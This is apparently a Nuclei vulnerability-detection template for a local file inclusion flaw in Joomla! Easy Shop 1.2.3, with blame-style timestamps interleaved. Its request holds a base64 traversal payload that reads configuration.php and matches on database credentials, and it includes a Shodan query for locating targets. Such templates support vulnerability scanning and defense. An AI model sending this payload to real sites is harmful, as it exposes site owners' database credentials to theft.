2024-02-22 08:35:51 +00:00
|
|
|
id: joomla-easyshop-lfi
|
|
|
|
|
|
|
|
|
|
info:
|
|
|
|
|
name: Joomla! Component Easy Shop 1.2.3 - Local File Inclusion
|
|
|
|
|
author: ritikchaddha
|
|
|
|
|
severity: high
|
|
|
|
|
description: |
|
2024-02-22 11:53:00 +00:00
|
|
|
The Joomla! component Easy Shop version 1.2.3 is vulnerable to Local File Inclusion (LFI) attacks.
|
2024-02-22 08:35:51 +00:00
|
|
|
reference:
|
|
|
|
|
- https://blog.csdn.net/weixin_42628854/article/details/136036109
|
|
|
|
|
metadata:
|
|
|
|
|
verified: true
|
2024-02-22 11:53:12 +00:00
|
|
|
max-request: 1
|
2024-02-22 08:35:51 +00:00
|
|
|
shodan-query: http.component:"Joomla"
|
|
|
|
|
tags: cnvd,cnvd2023,file-upload
|
|
|
|
|
|
|
|
|
|
http:
|
|
|
|
|
- method: GET
|
|
|
|
|
path:
|
|
|
|
|
- "{{BaseURL}}/index.php?option=com_easyshop&task=ajax.loadImage&file=Li4vLi4vY29uZmlndXJhdGlvbi5waHA="
|
|
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
|
- type: dsl
|
|
|
|
|
dsl:
|
|
|
|
|
- 'contains_all(body, "<?php", "class JConfig {")'
|
|
|
|
|
- 'contains_any(body, "$user", "$password", "$dbtype")'
|
|
|
|
|
- 'status_code == 200'
|
|
|
|
|
condition: and
|
2024-02-22 12:11:11 +00:00
|
|
|
# digest: 4a0a0047304502201755730c8710af69f78b1aaff63f08ae5c9a66b75f7cb75e2af29be86b02c9ad0221008f9a1cbc8cca3a461c70c9f95ec5d76a9c010cab0ae096bc6cc93b41967feee1:922c64590222798bb761d5b6d8e72950
|
